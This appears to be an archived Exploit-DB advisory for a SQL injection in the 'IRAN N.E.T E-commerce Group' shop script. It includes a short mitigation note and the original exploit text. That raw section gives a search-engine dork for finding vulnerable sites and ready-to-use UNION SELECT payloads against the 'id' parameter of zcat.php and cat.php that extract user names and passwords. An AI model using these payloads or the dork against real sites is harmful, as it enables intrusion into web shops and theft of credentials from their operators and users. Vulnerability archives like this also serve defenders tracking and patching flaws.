IRAN N.E.T E-commerce Group SQL Injection Vulnerability

vendor:

IRAN N.E.T E-commerce Group script

by:

Dr.0rYX and Cr3w-DZ

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: IRAN N.E.T E-commerce Group script

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: iranmc.org

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

IRAN N.E.T E-commerce Group SQL Injection Vulnerability

A vulnerability exists in the IRAN N.E.T E-commerce Group script, which allows an attacker to inject malicious SQL commands into vulnerable parameters. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The vulnerable parameter is the 'id' parameter in the 'zcat.php' and 'cat.php' scripts.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All input data should be validated and filtered before being passed to the SQL server.

Source

Exploit-DB raw data:

                                                    ALGERIAN HACKER
    **********************- NORTH-AFRICA SECURITY TEAM -***********************

  [!]            IRAN N.E.T E-commerce Group SQL Injection Vulnerability
  [!] Author    : Dr.0rYX and Cr3w-DZ
  [!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de

  ***************************************************************************/

  [ Software Information ]

  [+] Vendor : http://iranmc.org
  [+] script   : IRAN N.E.T E-commerce Group SQL Injection Vulnerability
  [+] Download : http://iranmc.org/index.php?id=7 sell (script with hosting)
  [+] Vulnerability : SQL injection
  [+] Dork :inurl:"zcat.php?id="

  **************************************************************************/
  [ Vulnerable File ]

  http://server/zcat.php?id=[N.A.S.T ]

  [ Exploit ]

  http://server/zcat.php?id=-1+union+select+1,2,concat(user,char(58),pass),4,5+from+user


  http://server/cat.php?id=-3+union+select+1,group_concat(id,0x3a,user,0x3a,pass),3,4+from+user


  [ ExOMPLE ]

  http://server/zcat.php?id=-64+union+select+1,2,concat%28user,char%2858%29,pass%29,4,5+from+user

  [  GReet ]

  [+] :xcv-dz , CLAW , LE0N , hacker.ps , exploit-db.com , ALL HACKERS MUSLIMS